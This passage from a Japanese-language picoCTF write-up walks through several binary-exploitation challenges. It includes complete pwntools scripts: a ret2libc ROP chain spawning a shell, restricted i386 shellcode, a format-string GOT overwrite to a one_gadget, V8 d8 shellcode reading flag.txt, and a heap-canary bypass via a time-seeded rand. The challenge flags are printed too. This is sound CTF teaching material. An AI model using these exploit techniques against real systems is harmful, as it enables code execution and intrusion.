context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./vuln"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = "./libc.so.6"

nc = "nc mercury.picoctf.net 49464"

command = '''
b *0x00400770
c
'''

chall = ELF(file)
libc = ELF(libc)

io = get_io()

io.recvuntil("WeLcOmE To mY EcHo sErVeR!\n")

pop_rdi = 0x0000000000400913
ret = 0x000000000040052e

payload = b""
payload += b"A" * 0x88
payload += p64(pop_rdi)
payload += p64(chall.got["puts"])
payload += p64(chall.plt["puts"])
payload += p64(chall.sym["do_stuff"])

io.sendline(payload)

io.recvline()

libc_leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))
libc.address = libc_leak - libc.sym["puts"]
log.info(f"libc: {libc.address:x}")

payload = b""
payload += b"A" * 0x88
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(libc.sym["system"])

io.sendline(payload)

io.interactive()

filtered-shellcode [160 points]

32bit ELF。Reversingが面倒くさいのでgdbで処理を把握しました。

入力したシェルコードを2bytesずつ区切って、間にnopを二回挟んで実行してくれるプログラムです。

例えば\xde\xad\xbe\xefを入力すると、\xde\xad\x90\x90\xbe\xef\x90\x90というシェルコードが実行されます。全命令が2byteに収まるようにすると崩れずに実行できて良さそうですね。

また、加工されたシェルコードとは別に生の入力もスタック上に確保されているので、どうにかしてEIPをそこに飛ばせば自由にシェルコードを実行できそうです。

適当にデバッグした結果、シェルコードが始まるアドレス(esp)+167に生の入力が確保されることがわかりました。

ここで考えたペイロードmov eax, esp; add al,(167-ペイロードの長さ); jmp eax;ですが、add alは繰り上がりを足してくれないのでかなりの確率で失敗します。(総当たりできなくもないのでここでガチャした方が楽だったな)

そこでadd eaxadd axを思いつきましたが、これらはどうしても3byte以上になってしまいます。

ここで間に入れられるnopを使うことを思いつきました。

add eax, 0x909090b7; nop\x05\xb7\x90\x90\x90; \x90となりますが、これにnopを挟まれると\x05\xb7\x90\x90\x90\x90\x90\x90\x90\x90となり、これはadd eax,0x909090b7;nop*5と問題なく実行できます。この次にsub eax,0x90909000という命令が実行されればadd eax, 0xb7が達成できますね。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "i386"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./fun"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
# libc = "./libc.so.6"

nc = "nc mercury.picoctf.net 28494"

command = '''
b *0x080485c9
c
'''

chall = ELF(file)

io = get_io()

payload = b""

# set eax = esp + 167-8
payload += asm("mov eax,esp")
payload += asm("add eax,0x909090b7; nop;")
payload += asm("sub eax,0x90909000; nop;")
# jump eax
payload += asm("jmp eax")

payload += asm(f"""
  mov ebx,{chall.bss()}
  mov eax, 0x6e69622f
  mov DWORD PTR [ebx], eax
  mov eax, 0x0068732f
  mov DWORD PTR [ebx+4], eax
  xor ecx,ecx
  xor edx,edx
  xor eax,eax
  mov al,0xb
  int 0x80
""")


io.sendlineafter("Give me code to run:\n", payload)

io.interactive()

Stonk Market [180 points]

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
    int shares;
    char symbol[MAX_SYM_LEN + 1];
    struct Stonks *next;
} Stonk;

typedef struct Portfolios {
    int money;
    Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
    if (!p) {
        return 1;
    }
    printf("\nPortfolio as of ");
    fflush(stdout);
    system("date"); // TODO: implement this in C
    fflush(stdout);

    printf("\n\n");
    Stonk *head = p->head;
    if (!head) {
        printf("You don't own any stonks!\n");
    }
    while (head) {
        printf("%d shares of %s\n", head->shares, head->symbol);
        head = head->next;
    }
    return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
    if (shares < 1) {
        return NULL;
    }
    Stonk *stonk = malloc(sizeof(Stonk));
    stonk->shares = shares;

    int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
    for (int i = 0; i <= MAX_SYM_LEN; i++) {
        if (i < AI_symbol_len) {
            stonk->symbol[i] = 'A' + (rand() % 26);
        } else {
            stonk->symbol[i] = '\0';
        }
    }

    stonk->next = NULL;

    return stonk;
}

int buy_stonks(Portfolio *p) {
    if (!p) {
        return 1;
    }
    /*
   char api_buf[FLAG_BUFFER];
   FILE *f = fopen("api","r");
   if (!f) {
       printf("Flag file not found\n");
       exit(1);
   }
   fgets(api_buf, FLAG_BUFFER, f);
   */
    int money = p->money;
    int shares = 0;
    Stonk *temp = NULL;
    printf("Using patented AI algorithms to buy stonks\n");
    while (money > 0) {
        shares = (rand() % money) + 1;
        temp = pick_symbol_with_AI(shares);
        temp->next = p->head;
        p->head = temp;
        money -= shares;
    }
    printf("Stonks chosen\n");

    char *user_buf = malloc(300 + 1);
    printf("What is your API token?\n");
    scanf("%300s", user_buf);
    printf("Buying stonks with token:\n");
    printf(user_buf);

    // TODO: Actually use key to interact with API

    view_portfolio(p);

    return 0;
}

Portfolio *initialize_portfolio() {
    Portfolio *p = malloc(sizeof(Portfolio));
    p->money = (rand() % 2018) + 1;
    p->head = NULL;
    return p;
}

void free_portfolio(Portfolio *p) {
    Stonk *current = p->head;
    Stonk *next = NULL;
    while (current) {
        next = current->next;
        free(current);
        current = next;
    }
    free(p);
}

int main(int argc, char *argv[])
{
    setbuf(stdout, NULL);
    srand(time(NULL));
    Portfolio *p = initialize_portfolio();
    if (!p) {
        printf("Memory failure\n");
        exit(1);
    }

    int resp = 0;

    printf("Welcome back to the trading app!\n\n");
    printf("What would you like to do?\n");
    printf("1) Buy some stonks!\n");
    printf("2) View my portfolio\n");
    scanf("%d", &resp);

    if (resp == 1) {
        buy_stonks(p);
    } else if (resp == 2) {
        view_portfolio(p);
    }

    free_portfolio(p);
    printf("Goodbye!\n");

    exit(0);
}
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

Stonkの続きです。今度はAPIトークンがメモリ上に配置されなくなりました。

今回はフラグをリークする手段がないのでシェルを取る必要がありそうですね。だけどlibcは配布されてません(は?)

Partical RELROなのでFSBによるGOT Overwriteができそうです。

しかし通常のFSBとは異なり、バッファがヒープ上に取られています。これはスタック上に任意のアドレスを複数置いて%n系で書き替えるテクニックが使えないことを意味します。

ではどうするかというと、このようなスタック上にあるスタックを指すポインタがあればよいです。

06:0030│ rbp  0x7ffd5d8700b0 —▸ 0x7ffd5d8700f0 —▸ 0x400ca0 (__libc_csu_init)

最初にそのポインタに対して%nを実行してポインタが指すメモリ(ここでは0x400ca0)を好きなアドレスに書き替えて、更にポインタが指す先に対して%nをすれば好きなアドレスを書き替えることができます。

これで任意のアドレスを何度も自由に書き替えることが可能になった、というわけではありません。

まず、書式指定子に$を使うとFSBが実行される前に事前に該当メモリを読んでしまいます。これは、先ほど言ったポインタに%nを使いその先にまた%nを使うというテクニックが$を使用すると使えなくなることを意味しています(これは私の理解がまだ曖昧です)

$が使えないということなので、一つのポインタにつき一回しか%nを使う機会がありません。8回くらいに分けて%hhnをしたいところですが、今回スタック上を指すポインタは一つしか見つかりませんでした。(と開催中は思っていたんですが、今見たら二つあるように見えるのですが...?)

まとめると、FSBで一回AAWができるということです。さて、どうシェルを取りましょうか。

そのままではFSBが一回しかできず、libc leakもできずに終わってしまうので何度もFSBを起こせるようにします。(割と典型?)

今回はまだ解決されてないfflushを利用します。FSB時点でfflush@got0x400746 (fflush@plt+6)を指しているのですが、都合のいいことにプログラムのエントリポイントである_start関数が0x400780に配置されているのでfflush@gotの下位1byteを0x80に書き替えてループさせます。

その次にprintf@gotを指すポインタを作って%sをそこに使うことでprintf@gotをleakします。これを基にlibc databaseからlibcを引っ張っておきます。

libc leakもできたのでprintfsystemに書き替えてsystem(user_buf)でシェルを呼びたいですが、64bit ELFというのが問題です。

%nは今まで出力したバイト数を書き込む書式指定子です。32bit ELFなら0xfffffffを書き込むにしても最悪4GB(それでも大きすぎる)で済んでいたのですが例えばsystemの値が0x7ffff7a31550であったら約128TBを出力しなければなりません。流石に128TBの通信をするのはやめたいですね。

FSB一回で二か所書き込むことはできない(と思っていた)し、二回に分けて書き替えても途中でセグフォを起こすのでprintfなどループで使われている関数をlibcの関数に差し替えることは不可能です。

そのため、ループで使われていない関数をlibcの関数に書き替えなければなりません。そのような関数はexit, free, fflushが該当します。(fflushはループ用に使っているので実質exit, freeのみ)

しかしprintf(user_buf)のように都合よく入力をそのまま引数としてくれる関数は存在しません。

ではどうするかというと、one gadgetを使います。

0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

今回のone gadgetはこのような感じです。下二つは条件が割と緩いように見えますが、条件に合うexit, freeが呼ばれる場所が見つかりませんでした。

しかも、最初の条件もrsp & 0xf == 0を満たせないのでシェルは取れません。

ではどうしたかというと、free@got => call exit => exit@got => one gadgetという構造を作り、call exitでリターンアドレスをスタックに積ませることで条件を満たしました。

from pwn import *
import sys
import re

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./vuln"

# libc = "/lib/x86_64-linux-gnu/libc.so.6"
libc = "./libc.so.6"

nc = "nc mercury.picoctf.net 58503"

command = '''
set follow-fork-mode parent
b *0x400ac9
c
'''

chall = ELF(file)
libc = ELF(libc)

io = get_io()

fsb_esp_offset = 6

written = 0
def next_byte(n, bits):
    global written
    written_masked = written & ((1 << bits) - 1)
    if written_masked < n:
        written += n - written_masked
        return n - written_masked
    else:
        written += ((1 << bits) - written_masked) + n
        return ((1 << bits) - written_masked) + n


# fflush => _start
payload = ""
payload += "%c" * (fsb_esp_offset+0x6-2)
written += fsb_esp_offset+0x6-2
payload += f"%{next_byte(chall.got['fflush'], 32)}c"
payload += f"%n"

payload += "%c" * (0xe - 0x6 - 2)
written += 0xe - 0x6 - 2
payload += f"%{next_byte(0x80, 8)}c"
payload += f"%hhn"

io.sendlineafter("2) View my portfolio\n", "1")
io.sendlineafter("What is your API token?\n", payload)
io.recvuntil("Portfolio")
written = 0

# libc leak
payload = ""
payload += "%c" * (fsb_esp_offset+0x6-2)
written += fsb_esp_offset+0x6-2
payload += f"%{next_byte(chall.got['printf'], 32)}c"
payload += f"%n"

payload += "%c" * (0xe - 0x6 - 1)
payload += f"|%s"

io.sendlineafter("2) View my portfolio\n", "1")
io.sendlineafter("What is your API token?\n", payload)
io.recvuntil("|")
written = 0

leak = u64(io.recv(6).ljust(8, b"\x00"))
log.info(f"leak: {leak:x}")
libc.address = leak - libc.sym["printf"]
log.info(f"libc: {libc.address:x}")

# exit => one_gadget
one_gadget = 0x4f3d5 + libc.address

payload = ""
payload += "%c" * (fsb_esp_offset+0x6-2)
written += fsb_esp_offset+0x6-2
payload += f"%{next_byte(chall.got['exit'], 32)}c"
payload += f"%n"

payload += "%c" * (0xe - 0x6 - 2)
written += 0xe - 0x6 - 2
payload += f"%{next_byte(one_gadget & 0xffff, 16)}c"
payload += f"%hn"

io.sendlineafter("2) View my portfolio\n", "1")
io.sendlineafter("What is your API token?\n", payload)
io.recvuntil("Portfolio")
written = 0

payload = ""
payload += "%c" * (fsb_esp_offset+0x6-2)
written += fsb_esp_offset+0x6-2
payload += f"%{next_byte(chall.got['exit']+2, 32)}c"
payload += f"%n"

payload += "%c" * (0xe - 0x6 - 2)
written += 0xe - 0x6 - 2
payload += f"%{next_byte((one_gadget >> 16) & 0xffff, 16)}c"
payload += f"%hn"

io.sendlineafter("2) View my portfolio\n", "1")
io.sendlineafter("What is your API token?\n", payload)
io.recvuntil("Portfolio")
written = 0

payload = ""
payload += "%c" * (fsb_esp_offset+0x6-2)
written += fsb_esp_offset+0x6-2
payload += f"%{next_byte(chall.got['exit']+4, 32)}c"
payload += f"%n"

payload += "%c" * (0xe - 0x6 - 2)
written += 0xe - 0x6 - 2
payload += f"%{next_byte(one_gadget >> 32, 16)}c"
payload += f"%hn"

io.sendlineafter("2) View my portfolio\n", "1")
io.sendlineafter("What is your API token?\n", payload)
io.recvuntil("Portfolio")
written = 0

# free => call exit
call_exit =0x00400c99

payload = ""
payload += "%c" * (fsb_esp_offset+0x6-2)
written += fsb_esp_offset+0x6-2
payload += f"%{next_byte(chall.got['free'], 32)}c"
payload += f"%n"

payload += "%c" * (0xe - 0x6 - 2)
written += 0xe - 0x6 - 2
payload += f"%{next_byte(call_exit & 0xffff, 16)}c"
payload += f"%hn"

io.sendlineafter("2) View my portfolio\n", "1")
io.sendlineafter("What is your API token?\n", payload)
io.recvuntil("Portfolio")
written = 0

payload = ""
payload += "%c" * (fsb_esp_offset+0x6-2)
written += fsb_esp_offset+0x6-2
payload += f"%{next_byte(chall.got['free']+2, 32)}c"
payload += f"%n"

payload += "%c" * (0xe - 0x6 - 2)
written += 0xe - 0x6 - 2
payload += f"%{next_byte((call_exit >> 16) & 0xffff, 16)}c"
payload += f"%hn"

io.sendlineafter("2) View my portfolio\n", "1")
io.sendlineafter("What is your API token?\n", payload)
io.recvuntil("Portfolio")
written = 0

payload = ""
payload += "%c" * (fsb_esp_offset+0x6-2)
written += fsb_esp_offset+0x6-2
payload += f"%{next_byte(chall.got['free']+4, 32)}c"
payload += f"%n"

payload += "%c" * (0xe - 0x6 - 2)
written += 0xe - 0x6 - 2
payload += f"%{next_byte(call_exit >> 32, 16)}c"
payload += f"%hn"

io.sendlineafter("2) View my portfolio\n", "1")
io.sendlineafter("What is your API token?\n", payload)
io.recvuntil("Portfolio")
written = 0

# fflushを元に戻す
payload = ""
payload += "%c" * (fsb_esp_offset+0x6-2)
written += fsb_esp_offset+0x6-2
payload += f"%{next_byte(chall.got['fflush'], 32)}c"
payload += f"%n"

payload += "%c" * (0xe - 0x6 - 2)
written += 0xe - 0x6 - 2
payload += f"%{next_byte(0x46, 8)}c"
payload += f"%hhn"

io.sendlineafter("2) View my portfolio\n", "1")
io.sendlineafter("What is your API token?\n", payload)
io.recvuntil("Portfolio")
written = 0

io.interactive()

picoCTF{explo1t_m1t1gashuns_0056bab5}

Writeup書いてる途中に「なんでこんな面倒臭い解き方してるんですか?」となってつらい

Kit Engine [375 points]

JavascriptエンジンであるV8の開発者向け環境であるd8のバイナリと、それに当てたパッチのdiffが渡されます。

「V8 Exploitか~~~(絶望)」と最初は思っていましたが蓋を開けると割と簡単でした。

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..35195b9261 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -979,6 +979,53 @@ struct ModuleResolutionData {
 
 }  // namespace
 
+uint64_t doubleToUint64_t(double d){
+  union {
+    double d;
+    uint64_t u;
+  } conv = { .d = d };
+  return conv.u;
+}
+
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  __asm__("int3");
+}
+
+void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  Isolate* isolate = args.GetIsolate();
+  if(args.Length() != 1) {
+    return;
+  }
+
+  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  if (func == (double *)-1) {
+    printf("Unable to allocate memory. Contact admin\n");
+    return;
+  }
+
+  if (args[0]->IsArray()) {
+    Local<Array> arr = args[0].As<Array>();
+
+    Local<Value> element;
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
+        Local<Number> val = element.As<Number>();
+        func[i] = val->Value();
+      }
+    }
+
+    printf("Memory Dump. Watch your endianness!!:\n");
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
+    }
+
+    printf("Starting your engine!!\n");
+    void (*foo)() = (void(*)())func;
+    foo();
+  }
+  printf("Done\n");
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
+  // Add challenge builtin, and remove some unintented solutions
+  global_template->Set(isolate, "AssembleEngine", FunctionTemplate::New(isolate, AssembleEngine));
+  global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
-
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
-  global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
   if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
 
 #ifdef V8_FUZZILLI
   global_template->Set(
@@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
 #endif  // V8_FUZZILLI
 
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
-
   return global_template;
 }
 
@@ -2449,10 +2466,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
-  isolate->SetHostImportModuleDynamicallyCallback(
+  /*isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+      Shell::HostInitializeImportMetaObject);*/
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..4591d27f65 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,9 @@ class Shell : public i::AllStatic {
     kNoProcessMessageQueue = false
   };
 
+  static void AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<Value> name, PrintResult print_result,
                             ReportExceptions report_exceptions,

ごちゃごちゃしてますが、AssembleEnginevoid (*foo)() = (void(*)())func;だけが重要です。

色々実験するとわかるのですが、AssembleEngine関数はdoubleの配列を渡すとそれをmmapした領域に配置し、シェルコードとして実行してくれる関数です。

つまりシェルコードをdoubleに変換して流せば終わりです。

from pwn import *
import sys
import re
import struct

context.terminal = "wterminal"
context.arch = "amd64"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./server.py"

nc = "nc mercury.picoctf.net 60514"

shellcode = asm("""
  lea rbx, [rip]

  mov rcx, 0x7478742e67616c66
  mov QWORD PTR [rbx+0x100], rcx
  lea rdi, QWORD PTR [rbx+0x100]
  xor rsi, rsi
  xor rdx, rdx
  mov rax, 0x2
  syscall

  mov rdi, rax
  lea rsi, QWORD PTR [rbx+0x200]
  mov rdx, 0x100
  mov rax, 0x0
  syscall

  mov rdi, 1
  mov rax, 0x1
  syscall
""")

print(shellcode, len(shellcode))

if len(shellcode) % 8 != 0:
    shellcode += asm("nop") * (8 - len(shellcode) % 8)

print(shellcode, len(shellcode))


array = []
for i in range(len(shellcode)//8):
    print(shellcode[i*8:(i+1)*8])
    array.append(str(struct.unpack("<d", shellcode[i*8:(i+1)*8])[0]))
print(array)

payload = f"AssembleEngine([{','.join(array)}])"

io = get_io()

io.sendlineafter("Provide size. Must be < 5k:", str(len(payload)))

io.sendline(payload)
io.shutdown("send")

io.interactive()

execve("/bin/sh", NULL, NULL)しても標準入力が与えられないのでシェルは取れません。execve("/bin/ls", NULL, NULL)flag.txtを確認した後にflag.txtopen&readしました。

picoCTF{vr00m_vr00m_4168cbd2cfccd836}

The Office [400 points]

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

自作heap問。strippedバイナリなのでrevが面倒ですね。

0x0804981cにある関数がheapが壊れていないかチェックしているのですが、これはプログラム中では常に第一引数を0にして呼び出されています。これを0以外に変えると、デバッグ用の出力がされるようになります。(親切で助かる)

chunkはこのような構造をしています。

---- 0x0
Canary
---- 0x4
Size      (LSBがAllocatedのフラグ)
---- 0x8
Prev Size (LSBがPrev Allocatedのフラグ)
---- 
Buffer
...

ここでCanaryはheap領域を取る時に決定されて(0x08049240の関数)、srand(time(NULL))の値が入ります。

0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: AAAA
Email (y/n)? y
Email address: BBBB
Salary: 1337
Phone #: CCCC
Bldg (y/n)? y
Bldg #: 334

プログラム自体はこのような感じ。heap上にemployeeの情報を追加/削除でき、それを観覧できます。

またadminという名前は付けられないようになっていて、4の選択肢で名前がadminであるemployeeを選択するとフラグが出力される仕組みです。

0) Exit
1) Add employee
2) Remove employee
3) List employees
4) Get access token
1
Name: admin
Cannot be admin!

脆弱性はどこかというと、Phone #:の部分のBOFです。BOFで下にあるemployeeの名前をadminに書き替えれば勝ちそうですが、CanaryがあるのでBOFは不可能です。

というのは嘘で、srand(time(NULL))はシードが1秒単位でしか変化しないのでタイミング攻撃で乱数を容易に予測できます。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(int argc, char* argv[]) {
    srand(atoi(argv[1]));
    printf("%d\n", rand());
    return 0;
}

こういうプログラムを作っておいて、実行時に確認すればよいです。

from pwn import *
from time import time
import sys
import re

context.terminal = "wterminal"
context.arch = "i386"

def get_io():
    if len(sys.argv) > 1 and sys.argv[1] == "debug":
        io = gdb.debug(file, command)
    elif len(sys.argv) > 1 and sys.argv[1] == "remote":
        _, domain, port = nc.split()
        io = remote(domain, int(port))
    else:
        io = process(file)
    return io

file = "./the_office"

nc = "nc mercury.picoctf.net 22999"

command = '''
b main
c
'''

chall = ELF(file)

io = get_io()

io.sendlineafter("4) Get access token\n", "1")
start_time = int(time()+1)
canary = int(process(["./print_rand", str(start_time)]).recvline())
log.info(f"Canary: {canary:x} {canary}")

io.sendlineafter("Name: ", "AAAA")
io.sendlineafter("Email (y/n)? ", "n")
io.sendlineafter("Salary: ", "0")
io.sendlineafter("Phone #: ", "BBBB")
io.sendlineafter("Bldg (y/n)? ", "n");

io.sendlineafter("4) Get access token\n", "1")
io.sendlineafter("Name: ", "CCCC")
io.sendlineafter("Email (y/n)? ", "n")
io.sendlineafter("Salary: ", "0")
io.sendlineafter("Phone #: ", "DDDD")
io.sendlineafter("Bldg (y/n)? ", "n");

io.sendlineafter("4) Get access token\n", "2")
io.sendlineafter("Employee #?\n", "0")

payload = b""
payload += b"A" * (0xc + 0x4 + 0xc)
payload += p32(canary)
payload += p32(0x35)
payload += p32(0x35)
payload += b"admin\x00"

io.sendlineafter("4) Get access token\n", "1")
io.sendlineafter("Name: ", "AAAA")
io.sendlineafter("Email (y/n)? ", "n")
io.sendlineafter("Salary: ", "0")
io.sendlineafter("Phone #: ", payload)
io.sendlineafter("Bldg (y/n)? ", "n");
io.interactive()

picoCTF{32c1c08f624ce1fb76cfd2a61c09b665}

この次の問題よりSolve数が少ないの謎ですね。タイミング攻撃意外と知られていないんですかね...?

Download Horsepower [450 points]

Kit Engineの続きで、今度こそV8 Exploit問です。(絶望)

正直、よくわかってません。情報をひたすら漁り、ひたすらデバッグで調整して通しました。

diff --git a/BUILD.gn b/BUILD.gn
index 9482b977e3..6a3f1e2d0f 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1175,6 +1175,7 @@ action("postmortem-metadata") {
 }
 
 torque_files = [
+  "src/builtins/array-horsepower.tq",
   "src/builtins/aggregate-error.tq",
   "src/builtins/array-at.tq",
   "src/builtins/array-copywithin.tq",
diff --git a/src/builtins/array-horsepower.tq b/src/builtins/array-horsepower.tq
new file mode 100644
index 0000000000..7ea53ca306
--- /dev/null
+++ b/src/builtins/array-horsepower.tq
@@ -0,0 +1,17 @@
+// Gotta go fast!!
+
+namespace array {
+
+transitioning javascript builtin
+ArraySetHorsepower(
+  js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
+    try {
+      const h: Smi = Cast<Smi>(horsepower) otherwise End;
+      const a: JSArray = Cast<JSArray>(receiver) otherwise End;
+      a.SetLength(h);
+    } label End {
+        Print("Improper attempt to set horsepower");
+    }
+    return receiver;
+}
+}
\ No newline at end of file
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..abfb553864 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -999,6 +999,10 @@ void Shell::ModuleResolutionSuccessCallback(
   resolver->Resolve(realm, module_namespace).ToChecked();
 }
 
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  __asm__("int3");
+}
+
 void Shell::ModuleResolutionFailureCallback(
     const FunctionCallbackInfo<Value>& info) {
   std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2205,14 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
+  // Remove some unintented solutions
+  global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
-
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
-  global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
   if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
 
 #ifdef V8_FUZZILLI
   global_template->Set(
@@ -2243,11 +2221,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
